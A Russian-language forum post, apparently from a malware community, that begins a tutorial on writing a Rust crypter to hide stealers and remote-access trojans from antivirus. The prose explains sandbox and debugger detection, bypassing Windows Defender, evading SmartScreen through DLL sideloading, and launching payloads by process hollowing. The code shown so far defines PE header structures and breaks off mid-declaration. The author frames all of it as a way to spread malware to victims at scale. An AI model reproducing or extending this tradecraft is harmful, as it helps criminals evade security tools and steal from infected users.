LIMB
Вход Регистрация

тема

Крипт нового поколения на Rust. Основы

MishkaUmka · · 0 ответов · 635 просмотров

Не удалось прогрузить медиа


1. Введение

Горячо приветствую тебя, мой дорогой читатель. В наше время высоких технологий в Интернете можно найти огромный объём информации по абсолютно любой теме: законной или незаконной, интересной или банальной, технической или художественной. Но с появлением нейросетей среди полезной информации стало прятаться огромное количество так называемого нейрослопа — мусора, который затрудняет понимание темы.

Цель данной статьи — выделить из всего объёма информации только полезные и нужные материалы, а помогать нам в этом будет язык программирования Rust. Почему именно Rust? Потому что это лучший язык для низкоуровневой работы с памятью и системой: у него мощный тулчейн, большое коммьюнити и умный компилятор, который не даёт выстрелить себе в ногу и заставляет обдумывать буквально каждую свою написанную строчку.

Сразу хочу обратить внимание, что эта статья рассчитана в первую очередь на новичков, но, думаю, даже опытные разработчики смогут подчерпнуть в ней что-нибудь полезное или новое, потому что, как показывает практика, кодеры на C и C++ отвергают Rust. Также автор предполагает, что у читателя есть базовое понимание языка C или C++, то бишь он знает, что такое интегральный тип, структура, массив и указатель.
Не удалось прогрузить медиа


2. Зачем нам нужен крипт

Поскольку на весь популярный софт приходится невероятно огромный трафик, детектится антивирусами он начинает в лучшем случае на следующий день, поэтому без крипторов у нас был бы выбор между овердорогим приватным софтом с ограниченным набором мест и паблик шляпой, которая детектится всем и вся, но, благодаря крипторам, на любой софт, который более-менее не палится в рантайме, можно спокойно проливать достаточно большие объёмы трафика.

Технически крипт мало чем отличается от пакеров или протекторов (таких как Themida, VMProtect или даже Denuvo): вы отправляете криптору файл, условно stealer.exe, он вам присылает так называемый стаб (от английского "stub" — заглушка) — другой исполняемый файл с каким-нибудь непримечательным именем и иконкой по вашему выбору, который принимает на себя основной удар антивируса — скантайм; при запуске на компьютере жертвы стаб анализирует окружение на предмет дебаггеров, песочниц и, если ничего подозрительного не обнаруживает, запускает закриптованный файл, называемый в ИБ-литературе полезной нагрузкой (payload).

Крипты существуют только для Windows и Android малвари. Для MacOS и iOS, например, в паблике вы криптора не найдёте — там за низкий детект отвечают создатели софта, чем, по большей части, и обусловлена высокая цена на малварь под эту платформу. На Android'е же крипторы чаще всего реселят всякие протекторы с GitHub (в некоторых продуктах подобные протекторы даже встроены в панель), да и в целом крипт там не так востребован, потому что Google Play Protect работает очень слабо.

Куда интереснее обстоит ситуация на платформах Linux, FreeBSD и остальных UNIX-подобных системах: там крипторов тоже нет из-за отсутствия спроса, который обусловлен как отсутствием хороших антивирусов, так и большим количеством особенностей этого большого и достаточно разнообразного семейства операционных систем. Но в целом, если вы попросите, я могу рассмотреть и написать свою реализацию каких-нибудь техник, применимых в малварь сфере на UNIX-подобных системах: например, могу написать аналог CreateRemoteThread с WinAPI через ptrace системный вызов или разобрать формат ELF — исполняемые файлы на UNIX-подобных системах.

В сухом остатке нам на рассмотрение остаётся только криптование под Windows. Ещё важно отметить, что в данной статье я не буду рассматривать Винду на ARM в принципе, так как большинство устройств с Windows работают на x86 процессорах.

3. Терминология и матчасть

Прежде, чем мы приступим к непосредственно написанию первого учебного криптора, нам придётся разобраться в основной терминологии, иначе всё, что вы увидите далее, покажется вам набором заклинаний.
Не удалось прогрузить медиа


Если вы опытный разработчик малвари под Windows, можете пропустить этот раздел.

  • Полезная нагрузка (payload) — криптуемый исполняемый файл, чаще всего какой-нибудь стилер или ратник;
  • Стаб (stub) — исполняемый файл, который является контейнером для полезной нагрузки. Его основная задача преодолеть скантайм (см. ниже) и запустить закриптованную полезную нагрузку;
  • Образец, сэмпл (sample) — в терминологии ИБ-шников обозначает экземпляр какого-либо вредоносного ПО;
  • Скантайм (scantime) — время до запуска исполняемого файла. Чаще всего, это время, когда файл скачался из Интернета и дропнулся на диск — в этот момент антивирус сканирует ваш файл на предмет совпадения со своей базой данных сигнатур и хэшей, а также проверяет на другие аномалии навроде повышенной энтропии, невалидных сертификатов и других эвристических проверок. Помимо этого, современные антивирусы умеют распаковывать ваш файл (если он в архиве) и запускать его внутри своей виртуальной машины или в облаке, где смотрит на его поведение, поэтому криптору нужно уметь детектить такую среду, называемой песочницей (sandbox), и в случае обнаружения не делать ничего подозрительного;
  • Рантайм (runtime) — время, когда закриптованный файл непосредственно начал выполнять свои злобные дела. Обычно, если детект прилетает в этот момент, криптор оказывается бессилен, что, впрочем, не означает, что убрать рантайм детект технически невозможно (но этого просто никто не делает). Чаще всего рантайм детект антивируса приходится на создание или открытие различных именнованных обьектов (мьютексы (внутри ядра именуются мутантами), семафоры, события, джобы, секции, файлы (в том числе пайпы и мейлслоты), рабочие столы, рабочие станции) с каким-нибудь уникальным именем или на использование каких-нибудь специфичных API по типу транзакционного;
  • Сигнатура — уникальная последовательность байт, позволяющая однозначно идентифицировать принадлежность исполняемого файла к определённой категории или семейству вредоносного ПО. Стоит также отметить, что большинство антивирусов присваивают сигнатуры наобум и в спешке, из-за чего ваш стилер после криптования может начать обнаруживаться антивирусом как стилер с другим, но более популярным именем (например, RedLine или Lumma);
  • Хэш (hash), иногда контрольная сумма (checksum) — уникальный идентификатор файла, полученный через передачу всех байтов этого файла на ввод так называемой хэш-функции, которая выдаёт уникальную последовательность байт фиксированной длины. В сфере ИБ для идентификации файлов используются SHA-1, SHA-256 и MD5 хэш-функции;
  • YARA — инструмент, чаще всего использующийся для описания сигнатур. Часто ИБ ресёрчеры выкладывают YARA-правила в своих статьях вместе с хэшами, поэтому понимание этого языка очень сильно поможет упростить вам поиск того, за что в очередной зацепился антивирус. Документацию смотрите тут.
  • Энтропия (entropy) — мера хаоса (случайности). Если абстрагироваться от сложного матана, то чем больше хаотичных байт (появляются после шифрования данных), тем выше у файла энтропия, а чем выше у вашего файла энтропия, тем более подозрительный он для антивируса;
  • Эвристическое сканирование (heuristic scan) — сканирование без опоры на имеющиеся базы данных сигнатур. Чаще всего заключается в поиске различных аномалий в коде и метаданных по типу неверного сертификата, наличие кода "распаковки", отсутствие информации о компиляторе в rich хедерах и многое-многое другое
  • VirusTotal (VT), AnyRun — платформы для так называемого мультискана исполняемых файлов и сайтов. Они запускают исполняемый файл внутри своих песочниц, логируют каждое их действие и сканируют их различными антивирусами. Также эти платформы позволяют почти любому желающему инфосеку взять и скачать оттуда файл, поэтому слив туда вашего бинаря крайне нежелателен;
  • MalwareBazaar — платформа с базой данных сэмплов различного вредоносного ПО;
  • Portable Executable (PE) — формат исполняемых файлов в операционной системе Windows, ассоциируется чаще всего с расширениями .exe, .dll, .sys. Является расширением формата COFF (Common Object Format), из-за чего в некоторой литературе формат PE обозвали как PE/COFF;
Не удалось прогрузить медиа

  • Шелл-код (shellcode) — набор Ассемблерных инструкций, записанных в массиве байтов;
  • Системные вызовы или сисколы (system calls, syscalls) — интерфейс, позволяющий приложениям из режима пользователя общаться с ядром операционной системы, реализованный через специальные Ассемблерные инструкции процессора (syscall на x86-64, sysenter на x86-32, svc на ARM);
  • WoW64 (Windows 32-bit on Windows 64-bit) — оболочка совместимости, позволяющая 32-битным приложениям работать на 64-битной операционной системе, коих в текущих реалиях большинство;
  • Windows Defender (WinDef, Виндеф) — антивирус от Microsoft, появившийся изначально как отдельно устанавливаемый компонент ещё во времена Windows XP, в Windows Vista стал поставляться вместе с операционной системой и в Windows 8 заменил Microsoft Security Essentials (MSE), став полноценным компонентом системы. В текущем состоянии работает на КАЖДОЙ современной операционной системе Windows 10 и 11, поэтому ваш крипт должен обязательно уметь его обходить;
  • Smart Screen — механизм безопасности на основе репутации, появившийся изначально в Ишаке (Internet Explorer) и в Windows 8 ставший встроенным системным компонентом. Во время запуска проверяет метаданные файла и файловой системы и, если ему что-то не нравится, на экране вылазит вот такое синее предупреждение. Стандартными средствами крипта не обходится — нужен либо сертификат за несколько тысяч долларов, либо накручивать скачивания на файл (чтоб повысить его репутацию), либо воспользоваться DLL sideloading/DLL hijacking, потому что SmartScreen не вылазит на попытку файла загрузить DLL;
Не удалось прогрузить медиа

  • Smart App Control (SAC) — новый механизм безопасности, появившийся в Windows 11. Работает примерно так же, как Smart Screen;
Не удалось прогрузить медиа

  • Relative Virtual Address (RVA) — относительный адрес, использующийся в хедерах для описания места, где будет находиться какая-либо функция или переменная. Чтоб из RVA получить абсолютный адрес, нужно прибавить его к базовому адресу исполняемого изображения (см. далее).

4. Теория загрузки и запуска PE файла

Когда мы нажимаем два раза левой клавишей мыши по файлу на рабочем столе или в проводнике, explorer.exe обрабатывает это и вызывает функцию shell32.ShellExecuteW (документация), передавая ей в качестве аргумента путь до файла. Сама эта функция по расширению файла находит исполняемый файл, который может его открыть, используя информацию из HKEY_CLASSES_ROOT ветки реестра Windows, то есть для .txt открывается notepad.exe, а если файл и так исполняемый, то функция напрямую вызывает kernel32.CreateProcessW (документация), которая вызывает kernelbase.CreateProcessInternalW, которая, в свою очередь, проводит большую работу над трансляцией входных аргументов в понятный ядру формат (и много чего ещё, если интересно — можете посмотреть реконструкцию этой функции на основе ревёрс инженеринга тут) и через системный вызов NtCreateUserProcess (неофициальная документация), вызываемый с флагом THREAD_CREATE_FLAGS_CREATE_SUSPENDED, обращается к ядру за созданием процесса.

Примечание: системный вызов NtCreateUserProcess начал использоваться с 6 NT (Window Vista), в Windows XP, исходники которой утекли в сеть, используется системный вызов NtCreateProcessEx (неофициальная документация): https://github.com/tongzx/nt5src/blob/master/Source/XPSP1/NT/base/win32/client/process.c

Далее ядро открывает файл, проверяет его, маппит его в секцию, создаваемую с типом SEC_IMAGE, после чего инициализирует процесс и главный поток, затем, если никаких проблем нет, то возвращает управление коду библиотеки Kernelbase, который, проверив код ошибки, запускает главный поток нового процесса, если не был передан флаг CREATE_SUSPENDED.

Мы запускаем упакованный исполняемый файл, поэтому нам нужно запускать его из памяти, не дропая на диск, получается, этот вариант нам не подходит. А как насчёт загрузки DLL, их-то можно из памяти загрузить? Ответ: нет, не можете — Ntdll не экспортирует свои внутренние функции, использующиеся при загрузке DLL-файлов. Более того, Ntdll после открытия DLL файла мапит его всё в ту же SEC_IMAGE секцию, и вызывает ntdll.LdrpMapDllWithSectionHandle.
Не удалось прогрузить медиа


Круго́м одни секции. Да, Windows изначально спроектирована так, что каждый исполняемый файл перед запуском должен быть сначала загружен в SEC_IMAGE секцию (то есть память, в которую он будет загружен, должна иметь тип MEM_IMAGE), которая может быть создана только из файла (последний аргумент сискола NtCreateSection), без открытого хэндла файла создать такую секцию нельзя.

Тем не менее, у нас всё ещё есть обходные пути:
  1. Мы можем вручную повторить все действия загрузчика изображений из Ntdll, что будет достаточно сложной задачей, поскольку, как вы увидите дальше, формат PE и API для работы с ним в Ntdll очень плохо задокументированы или вообще не задокументированы;
  2. Создать приостановленный процесс, подменить загружаемый образ и запустить его;
  3. Вызывать LoadLibrary и в момент загрузки подменить секцию на нашу.
Мы воспользуемся вторым вариантом, так как он самый старый и проверенный. В других статьях я, возможно, рассмотрю другие варианты, а пока остановимся на этом — классическая его реализация называется Process Hollowing или RunPE, в ней мы создаём приостановленный процесс, аллоцируем в нём достаточно места через системный вызов NtAllocateVirtualMemory (неофициальная документация), после чего через системный вызов NtWriteVirtualMemory (неофициальная документация) копировали полезную нагрузку в целевой процесс. Когда полезная нагрузка оказывалась в процессе, патчилось поле ImageBaseAddress его PEB структуры и адрес точки входа в контексте главного потока, после чего поток запускался, но загружал уже наш исполняемый модуль.

Примечание: PEB это структура данных пользовательского режима, которая хранит в себе большой объём информации о процессе, главном исполняемом модуле и общие переменные между DLL библиотекам и потоками. Задокументирована неофициально тут и тут (32 бита).

Примечание 2: базовый адрес изображения (image base) это начальный адрес в памяти, где располагается исполняемый файл. PEB процесса хранит в себе базовый адрес исполняемого .exe файла (из которого изначально ядро создаёт исполняемую секцию).

Примечание 3: контекст потока это состояние регистров процессора для определённого программного потока (не путать с потоками процессора).

В нашей реализации особо ничего не изменится, единственное — мы с помощью хитрой техники смапим наш payload в исполняемую секцию. Также хочу отметить, что компилирую файл как 64-битный, но при этом он сможет загружать как 64-, так и 32-битные исполняемые файлы + .NET.

5. Наконец-то код
Работа с PE форматом


Для начала, объявим трейт PE — это позволит нам иметь несколько разных реализаций PE буфера, но с общими методами.
Code:
use std::slice; // В самом верху файла, это как #include в C/C++

pub trait PE: Sized {
    fn image_base(&self) -> *const u8;
    fn image_base_mut(&mut self) -> *mut u8;
    fn image_buffer_size(&self) -> usize;

    #[inline]
    #[must_use]
    fn is_null(&self) -> bool {
        self.image_base().is_null()
    }

    #[inline]
    #[must_use]
    fn is_empty(&self) -> bool {
        self.image_buffer_size() == 0
    }

    #[must_use]
    fn as_slice(&self) -> &[u8] {
        debug_assert!(!self.is_null(), "Creating slice from null pointer is UB");
        unsafe {
            slice::from_raw_parts(self.image_base(), self.image_buffer_size())
        }
    }
    #[must_use]
    fn as_mut_slice(&mut self) -> &mut [u8] {
        debug_assert!(!self.is_null(), "Creating slice from null pointer is UB");
        unsafe {
            slice::from_raw_parts_mut(self.image_base_mut(), self.image_buffer_size())
        }
    }
}

Трейты (типажи) это наборы методов, которые можно шарить между разными типами данных. Это некий аналог интерфейсов из Java и C#: у интерфейсов есть как уже реализованные методы, так и методы, которые нужно ему предоставить.
Это называется полиморфизм — мы предоставляем что-то абстрактное, что мы знаем, как должно себя вести и что возвращать, но при этом мы не видим детали реализации.

В приведённом выше коде мы объявили три метода, которые нужно будет реализовать для этого трейта. Также мы добавили супертрейт из стандартной библиотеки Sized, который обозначает, что размер типа известен во время компиляции — это нам нужно, чтоб нормально пилить методы с реализацией внутри этого трейта. Таким образом, когда мы будем реализовывать трейт PE, тип, который его реализует, должен также реализовывать трейт Sized.

Ещё считаю нужным обратить внимание читателей на следующие вещи:
  1. Слайс (slice) — этот термин пришёл в Rust прямо из языка Go и работает здесь практически также, то есть представляет из себя невладеющий контейнер по аналогии с std::span из C++20;
  2. Атрибут #[must_use] это аналог [[nodiscard]] из C++17. Ещё оттуда у меня пошла привычка всегда вешать этот атрибут на все геттеры;
  3. Атрибут #[inline] помечает функцию для компилятора как пригодную к инлайнингу (чтоб вместо вызова функции вставлялось её тело). Есть ещё несколько связанных атрибутов: #[inline(always)] заставляет компилятор всегда инлайнить помеченную функцию (как __forceinline у MSVC компилятора Плюсов), #[inline(never)] запрещает компилятору инлайнить помеченную функцию — полезно при работе с хуками.
Для удобной работы с Rust, нам понадобится общий класс ошибок, чтоб можно было его прикидывать наверх через оператор ?. Для удобства добавим крейт thiserror через команду cargo add thiserror.
Code:
#[repr(transparent)]
#[derive(Default, Copy, Clone, PartialEq, Eq, PartialOrd, Ord)]
pub struct NTSTATUS(pub i32); // NT API status code
pub const STATUS_SUCCESS: NTSTATUS = NTSTATUS(0);
impl NTSTATUS {
    #[inline]
    pub fn is_ok(&self) -> bool {
        self >= STATUS_SUCCESS
    }
    #[inline]
    pub fn is_err(&self) -> bool {
        !self.is_ok()
    }
}

#[derive(thiserror::Error, Debug)]
pub enum PeError {
    #[error("I/O error")]
    IoError(#[from] std::io::Error),
    #[error("out of bounds: boundary is {0}, got {1} instead")]
    OutOfBounds(usize, usize),
    #[error("alignment mismatch: offset {0} is not aligned for type with alignment {1}")]
    AlignmentMismatch(usize, usize),
    #[error("numeric overflow")]
    NumericOverflow,
    #[error("DOS signature is not MZ")]
    NotMz,
    #[error("invalid nt headers signature")]
    NotNtSignature,
    #[error("NT API error: {0:?}")]
    NtApiError(NTSTATUS),
    #[error("Win32 last error: {0}")]
    Win32Error(u32),
}

pub type PeResult<T> = Result<T, PeError>; // Result это эквивалент std::expected из C++20

Теперь создадим PE, который будет храниться в Vec<u8> из стандартной библиотеки. Если вы когда-то писали на Плюсах, то это аналог std::vector.
Code:
#[derive(Clone, Default, PartialEq, Eq)]
#[cfg_attr(debug_assertions, derive(Debug))]
pub struct VecPe(Vec<u8>);

impl PE for VecPe {
    fn image_base(&self) -> *const u8 {
        self.0.as_ptr()
    }
    fn image_base_mut(&mut self) -> *mut u8 {
        self.0.as_mut_ptr()
    }
    fn image_buffer_size(&self) -> usize {
        self.0.len()
    }
}

Через макрос #derive мы добавили автоматическую реализацию некоторых стандартных трейтов (это работает, поскольку мы оборачиваем тип, которых их реализовывает):
  1. Трейты PartialEq и Eq нужны для сравнения через операторы == и !=;
  2. Трейт Clone позволяет создавать глубокую копию (deep copy) объекта через метод clone(), что функционально эквивалентно вызову конструктора копирования или оператора присваивания копированием из C++;
  3. Трейт Default предоставляет статический метод default, возвращающий "дефолтное" значение (0 для числовых типов, пустой вектор для Vec, std::ptr::null() для *const указателей, std::ptr::null_mut() для *mut указателей, пустую строку для String и ну вы поняли). Он нам пригодится в дальнейшем для тестов;
  4. Трейт Debug позволяет выводить структуры в текстовом виде, чтоб было удобно дебажить. Мы не хотим, чтоб эту информацию было видно ревёрсеру, поэтому пометим компилятору, чтоб он компилировал этот трейт для нас только в дебаг режиме.
Также нам понадобится PE, состоящий чисто из указателя и размера:
Code:
use std::ptr; // В самом верху файла, это как #include в C/C++

#[derive(PartialEq, Eq, Default)]
#[cfg_attr(debug_assertions, derive(Debug))]
pub struct PtrPe {
    ptr: *mut u8,
    size: usize
}

impl PE for PtrPe {
    fn image_base(&self) -> *const u8 {
        self.ptr as *const _
    }
    fn image_base_mut(&mut self) -> *mut u8 {
        self.ptr
    }
    fn image_buffer_size(&self) -> usize {
        self.size
    }
}

// Чтоб была возможность создавать из мутабельного слайса байтов
impl From<&mut [u8]> for PtrPe {
    #[inline]
    fn from(s: &mut [u8]) -> Self {
        Self {
            ptr: s.as_mut_ptr(),
            size: s.len()
        }
    }
}

Теперь нам надо объявить структуры для работы с форматом PE. Можно взять их объявления из крейта windows-sys от Microsoft, но для лучшего понимания и для большей масштабируемости мы объявим их самостоятельно:
Не удалось прогрузить медиа


Code:
#[repr(C, packed(2))]
#[derive(Default, Clone, Copy, PartialEq, Eq)]
#[cfg_attr(debug_assertions, derive(Debug))]
pub struct _IMAGE_DOS_HEADER {
    pub e_magic: u16,
    pub e_cblp: u16,
    pub e_cp: u16,
    pub e_crlc: u16,
    pub e_cparhdr: u16,
    pub e_minalloc: u16,
    pub e_maxalloc: u16,
    pub e_ss: u16,
    pub e_sp: u16,
    pub e_csum: u16,
    pub e_ip: u16,
    pub e_cs: u16,
    pub e_lfarlc: u16,
    pub e_ovno: u16,
    pub e_res: [u16; 4],
    pub e_oemid: u16,
    pub e_oeminfo: u16,
    pub e_res2: [u16; 10],
    pub e_lfanew: i32,
}
pub type IMAGE_DOS_HEADER = _IMAGE_DOS_HEADER;
pub type PIMAGE_DOS_HEADER = *mut IMAGE_DOS_HEADER;

pub const IMAGE_DOS_SIGNATURE: u16 = 0x5a4du16; // MZ in little endian

Объясняю, что такое #[repr(C)]: этот атрибут вынуждает компилятор Раста применять к структуре выравнивание, аналогично Сишному компилятору, packed(2) устанавливает границу выравнивания, тут выравнивание выставляется по 2 байтам, так как структура родом из 16-битных систем. Ещё мы добавили реализацию трейта Copy — это помечает тип как пригодный к побитовому копированию через функции по типу memcpy.

Поскольку PE формат поддерживает совместимость с MS-DOS, то вначале него находится именно досовский заголовок. Первое поле этой структуры представлено магическим числом e_magic, которое всегда должно быть равно IMAGE_DOS_SIGNATURE, то есть "MZ". Сразу следом за заголовком следует так называемая DOS заглушка или DOS stub, которая в большинстве современных компиляторах просто выводит сообщение "This program cannot be run in DOS mode". Для нас эта заглушка никакой ценности не несёт, поэтому нам нужно сразу перескочить к хедерам NT: чтоб это сделать, нужно прочитать значение из e_lfanew, где лежит смещение от начала файла до NT хэдеров.
Code:
pub const IMAGE_NT_SIGNATURE: u32 = 0x4550u32; // PE in little endian

#[repr(C)]
#[derive(Default, Copy, Clone, PartialEq, Eq)]
#[cfg_attr(debug_assertions, derive(Debug))]
#[allow(non_snake_case)]
pub struct _IMAGE_NT_HEADERS32 {
    pub Signature: u32,
    pub FileHeader: IMAGE_FILE_HEADER,
    pub OptionalHeader: IMAGE_OPTIONAL_HEADER32,
}
pub type IMAGE_NT_HEADERS32 = _IMAGE_NT_HEADERS32;
pub type PIMAGE_NT_HEADERS32 = *mut IMAGE_NT_HEADERS32;

#[repr(C)]
#[derive(Default, Copy, Clone, PartialEq, Eq)]
#[cfg_attr(debug_assertions, derive(Debug))]
#[allow(non_snake_case)]
pub struct IMAGE_FILE_HEADER {
    pub Machine: IMAGE_FILE_MACHINE,
    pub NumberOfSections: u16,
    pub TimeDateStamp: u32,
    pub PointerToSymbolTable: u32,
    pub NumberOfSymbols: u32,
    pub SizeOfOptionalHeader: u16,
    pub Characteristics: IMAGE_FILE_CHARACTERISTICS,
}

#[repr(C)]
#[derive(Default, Copy, Clone, PartialEq, Eq)]
#[cfg_attr(debug_assertions, derive(Debug))]
#[allow(non_snake_case)]
pub struct IMAGE_OPTIONAL_HEADER32 {
    pub Magic: IMAGE_OPTIONAL_HEADER_MAGIC,
    pub MajorLinkerVersion: u8,
    pub MinorLinkerVersion: u8,
    pub SizeOfCode: u32,
    pub SizeOfInitializedData: u32,
    pub SizeOfUninitializedData: u32,
    pub AddressOfEntryPoint: u32,
    pub BaseOfCode: u32,
    pub BaseOfData: u32,
    pub ImageBase: u32,
    pub SectionAlignment: u32,
    pub FileAlignment: u32,
    pub MajorOperatingSystemVersion: u16,
    pub MinorOperatingSystemVersion: u16,
    pub MajorImageVersion: u16,
    pub MinorImageVersion: u16,
    pub MajorSubsystemVersion: u16,
    pub MinorSubsystemVersion: u16,
    pub Win32VersionValue: u32,
    pub SizeOfImage: u32,
    pub SizeOfHeaders: u32,
    pub CheckSum: u32,
    pub Subsystem: IMAGE_SUBSYSTEM,
    pub DllCharacteristics: IMAGE_DLL_CHARACTERISTICS,
    pub SizeOfStackReserve: u32,
    pub SizeOfStackCommit: u32,
    pub SizeOfHeapReserve: u32,
    pub SizeOfHeapCommit: u32,
    pub LoaderFlags: u32,
    pub NumberOfRvaAndSizes: u32,
    pub DataDirectory: [IMAGE_DATA_DIRECTORY; 16],
}

#[repr(C)]
#[derive(Clone, Copy, Default, PartialEq, Eq)]
#[cfg_attr(debug_assertions, derive(Debug))]
#[allow(non_snake_case)]
pub struct IMAGE_NT_HEADERS64 {
    pub Signature: u32,
    pub FileHeader: IMAGE_FILE_HEADER,
    pub OptionalHeader: IMAGE_OPTIONAL_HEADER64,
}

#[repr(C, packed(4))]
#[derive(Clone, Copy, Default, PartialEq, Eq)]
#[cfg_attr(debug_assertions, derive(Debug))]
#[allow(non_snake_case)]
pub struct IMAGE_OPTIONAL_HEADER64 {
    pub Magic: IMAGE_OPTIONAL_HEADER_MAGIC,
    pub MajorLinkerVersion: u8,
    pub MinorLinkerVersion: u8,
    pub SizeOfCode: u32,
    pub SizeOfInitializedData: u32,
    pub SizeOfUninitializedData: u32,
    pub AddressOfEntryPoint: u32,
    pub BaseOfCode: u32,
    pub ImageBase: u64,
    pub SectionAlignment: u32,
    pub FileAlignment: u32,
    pub MajorOperatingSystemVersion: u16,
    pub MinorOperatingSystemVersion: u16,
    pub MajorImageVersion: u16,
    pub MinorImageVersion: u16,
    pub MajorSubsystemVersion: u16,
    pub MinorSubsystemVersion: u16,
    pub Win32VersionValue: u32,
    pub SizeOfImage: u32,
    pub SizeOfHeaders: u32,
    pub CheckSum: u32,
    pub Subsystem: IMAGE_SUBSYSTEM,
    pub DllCharacteristics: IMAGE_DLL_CHARACTERISTICS,
    pub SizeOfStackReserve: u64,
    pub SizeOfStackCommit: u64,
    pub SizeOfHeapReserve: u64,
    pub SizeOfHeapCommit: u64,
    pub LoaderFlags: u32,
    pub NumberOfRvaAndSizes: u32,
    pub DataDirectory: [IMAGE_DATA_DIRECTORY; 16],
}

#[repr(C)]
#[derive(Clone, Copy, Default, PartialEq, Eq)]
#[cfg_attr(debug_assertions, derive(Debug))]
#[allow(non_snake_case)]
pub struct IMAGE_DATA_DIRECTORY {
    pub VirtualAddress: u32,
    pub Size: u32,
}

#[repr(transparent)]
#[derive(Clone, Copy, Default, Eq, PartialEq, PartialOrd, Ord)]
#[cfg_attr(debug_assertions, derive(Debug))]
pub struct IMAGE_OPTIONAL_HEADER_MAGIC(pub u16);
pub const IMAGE_NT_OPTIONAL_HDR32_MAGIC: IMAGE_OPTIONAL_HEADER_MAGIC = IMAGE_OPTIONAL_HEADER_MAGIC(267u16);
pub const IMAGE_NT_OPTIONAL_HDR64_MAGIC: IMAGE_OPTIONAL_HEADER_MAGIC = IMAGE_OPTIONAL_HEADER_MAGIC(523u16);

#[repr(transparent)]
#[derive(Clone, Copy, Default, Eq, PartialEq, PartialOrd, Ord)]
#[cfg_attr(debug_assertions, derive(Debug))]
pub struct IMAGE_FILE_MACHINE(pub u16);

pub const IMAGE_FILE_MACHINE_ALPHA: IMAGE_FILE_MACHINE = IMAGE_FILE_MACHINE(388u16);
pub const IMAGE_FILE_MACHINE_ALPHA64: IMAGE_FILE_MACHINE = IMAGE_FILE_MACHINE(644u16);
pub const IMAGE_FILE_MACHINE_AM33: IMAGE_FILE_MACHINE = IMAGE_FILE_MACHINE(467u16);
pub const IMAGE_FILE_MACHINE_AMD64: IMAGE_FILE_MACHINE = IMAGE_FILE_MACHINE(34404u16);
pub const IMAGE_FILE_MACHINE_ARM: IMAGE_FILE_MACHINE = IMAGE_FILE_MACHINE(448u16);
pub const IMAGE_FILE_MACHINE_ARM64: IMAGE_FILE_MACHINE = IMAGE_FILE_MACHINE(43620u16);
pub const IMAGE_FILE_MACHINE_ARMNT: IMAGE_FILE_MACHINE = IMAGE_FILE_MACHINE(452u16);
pub const IMAGE_FILE_MACHINE_AXP64: IMAGE_FILE_MACHINE = IMAGE_FILE_MACHINE(644u16);
pub const IMAGE_FILE_MACHINE_CEE: IMAGE_FILE_MACHINE = IMAGE_FILE_MACHINE(49390u16);
pub const IMAGE_FILE_MACHINE_CEF: IMAGE_FILE_MACHINE = IMAGE_FILE_MACHINE(3311u16);
pub const IMAGE_FILE_MACHINE_EBC: IMAGE_FILE_MACHINE = IMAGE_FILE_MACHINE(3772u16);
pub const IMAGE_FILE_MACHINE_I386: IMAGE_FILE_MACHINE = IMAGE_FILE_MACHINE(332u16);
pub const IMAGE_FILE_MACHINE_IA64: IMAGE_FILE_MACHINE = IMAGE_FILE_MACHINE(512u16);
pub const IMAGE_FILE_MACHINE_M32R: IMAGE_FILE_MACHINE = IMAGE_FILE_MACHINE(36929u16);
pub const IMAGE_FILE_MACHINE_MIPS16: IMAGE_FILE_MACHINE = IMAGE_FILE_MACHINE(614u16);
pub const IMAGE_FILE_MACHINE_MIPSFPU: IMAGE_FILE_MACHINE = IMAGE_FILE_MACHINE(870u16);
pub const IMAGE_FILE_MACHINE_MIPSFPU16: IMAGE_FILE_MACHINE = IMAGE_FILE_MACHINE(1126u16);
pub const IMAGE_FILE_MACHINE_POWERPC: IMAGE_FILE_MACHINE = IMAGE_FILE_MACHINE(496u16);
pub const IMAGE_FILE_MACHINE_POWERPCFP: IMAGE_FILE_MACHINE = IMAGE_FILE_MACHINE(497u16);
pub const IMAGE_FILE_MACHINE_R10000: IMAGE_FILE_MACHINE = IMAGE_FILE_MACHINE(360u16);
pub const IMAGE_FILE_MACHINE_R3000: IMAGE_FILE_MACHINE = IMAGE_FILE_MACHINE(354u16);
pub const IMAGE_FILE_MACHINE_R4000: IMAGE_FILE_MACHINE = IMAGE_FILE_MACHINE(358u16);
pub const IMAGE_FILE_MACHINE_SH3: IMAGE_FILE_MACHINE = IMAGE_FILE_MACHINE(418u16);
pub const IMAGE_FILE_MACHINE_SH3DSP: IMAGE_FILE_MACHINE = IMAGE_FILE_MACHINE(419u16);
pub const IMAGE_FILE_MACHINE_SH3E: IMAGE_FILE_MACHINE = IMAGE_FILE_MACHINE(420u16);
pub const IMAGE_FILE_MACHINE_SH4: IMAGE_FILE_MACHINE = IMAGE_FILE_MACHINE(422u16);
pub const IMAGE_FILE_MACHINE_SH5: IMAGE_FILE_MACHINE = IMAGE_FILE_MACHINE(424u16);
pub const IMAGE_FILE_MACHINE_TARGET_HOST: IMAGE_FILE_MACHINE = IMAGE_FILE_MACHINE(1u16);
pub const IMAGE_FILE_MACHINE_THUMB: IMAGE_FILE_MACHINE = IMAGE_FILE_MACHINE(450u16);
pub const IMAGE_FILE_MACHINE_TRICORE: IMAGE_FILE_MACHINE = IMAGE_FILE_MACHINE(1312u16);
pub const IMAGE_FILE_MACHINE_UNKNOWN: IMAGE_FILE_MACHINE = IMAGE_FILE_MACHINE(0u16);
pub const IMAGE_FILE_MACHINE_WCEMIPSV2: IMAGE_FILE_MACHINE = IMAGE_FILE_MACHINE(361u16);


pub const IMAGE_FILE_32BIT_MACHINE: IMAGE_FILE_CHARACTERISTICS = IMAGE_FILE_CHARACTERISTICS(256u16);
pub const IMAGE_FILE_32BIT_MACHINE2: IMAGE_FILE_CHARACTERISTICS2 = IMAGE_FILE_CHARACTERISTICS2(256u32);
pub const IMAGE_FILE_AGGRESIVE_WS_TRIM: IMAGE_FILE_CHARACTERISTICS = IMAGE_FILE_CHARACTERISTICS(16u16);
pub const IMAGE_FILE_AGGRESIVE_WS_TRIM2: IMAGE_FILE_CHARACTERISTICS2 = IMAGE_FILE_CHARACTERISTICS2(16u32);
pub const IMAGE_FILE_BYTES_REVERSED_HI: IMAGE_FILE_CHARACTERISTICS = IMAGE_FILE_CHARACTERISTICS(32768u16);
pub const IMAGE_FILE_BYTES_REVERSED_HI_2: IMAGE_FILE_CHARACTERISTICS2 = IMAGE_FILE_CHARACTERISTICS2(32768u32);
pub const IMAGE_FILE_BYTES_REVERSED_LO: IMAGE_FILE_CHARACTERISTICS = IMAGE_FILE_CHARACTERISTICS(128u16);
pub const IMAGE_FILE_BYTES_REVERSED_LO2: IMAGE_FILE_CHARACTERISTICS2 = IMAGE_FILE_CHARACTERISTICS2(128u32);

#[repr(transparent)]
